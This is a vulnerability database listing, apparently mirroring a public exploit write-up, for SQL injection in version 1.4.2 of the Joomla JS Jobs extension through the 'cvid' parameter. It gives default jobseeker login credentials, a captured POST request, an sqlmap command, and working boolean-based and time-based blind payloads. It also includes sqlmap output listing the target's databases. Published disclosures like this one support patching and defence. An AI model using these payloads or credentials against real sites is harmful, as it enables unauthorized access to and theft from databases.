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📄 Joomla JS Jobs 1.4.2 SQL Injection

🗓️ 22 Jul 2025 00:00:00Reported by Adam WallworkType 
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SQL injection in Joomla JS Jobs extension version one point four two via cvid parameter using default jobseeker credentials.

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# Exploit Title: Joomla JS Jobs plugin 1.4.2 - SQL injection
    # Google Dork: n/a
    # Date: 07/07/2025
    # Exploit Author: Adam Wallwork
    # Vendor Homepage: https://joomsky.com/
    # Demo: https://demo.joomsky.com/js-jobs/jm/free/
    # Software Link: https://extensions.joomla.org/extension/js-jobs/
    # Version: v1.4.2
    # Tested on: v1.4.2
    
    
    An SQL injection vulnerability exists in the JS Jobs extension (v1.4.2) via the 'cvid' parameter and is exploitable as the jobseeker user.
    
    To exploit this vulnerability login as the jobseeker user with default credentials (jobseeker:demo) and go to 'jobseeker-controlpanel >> My Stuff >> Newest Jobs >> Newest Jobs >> Apply Now >> Apply Now' and capture the "Apply Now" request (req.txt).
    
    HTTP Request:
    ```
    POST /index.php?option=com_jsjobs&task=jobapply.jobapplyajax HTTP/2
    Host: localhost:8080
    Cookie: joomla_user_state=logged_in; 67aa5f9b49e233456b916ea62ef1447b=kjou43pssdvaa5plr84dhc8P64
    Content-Length: 38
    Sec-Ch-Ua-Platform: "Linux"
    Accept-Language: en-GB,en;q=0.9
    Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
    Sec-Ch-Ua-Mobile: ?0
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://localhost:8080
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost:8080/index.php/component/jsjobs/newest-jobs?Itemid=
    Accept-Encoding: gzip, deflate, br
    Priority: u=1, i
    
    jobid=1&cvid=1&coverletterid=4&uid=460
    ```
    
    Exploit:
    ```
    sqlmap -r req.txt --dbs --batch -p cvid --dbms=mysql --threads=10
            ___
           __H__
     ___ ___[']_____ ___ ___  {1.9.1.2#dev}
    |_ -| . [']     | .'| . |
    |___|_  [']_|_|_|__,|  _|
          |_|V...       |_|   https://sqlmap.org
    
    ---
    Parameter: cvid (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: jobid=1&cvid=(SELECT (CASE WHEN (7270=7270) THEN 1 ELSE (SELECT 6098 UNION SELECT 7386) END))&coverletterid=4&uid=460
    
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: jobid=1&cvid=1 AND (SELECT 6497 FROM (SELECT(SLEEP(5)))EAyv)&coverletterid=4&uid=460
    ---
    
    available databases [2]:
    [*] joomla_db
    [*] information_schema
    ```

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22 Jul 2025 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 48.7
EPSS0.01078
SSVC
103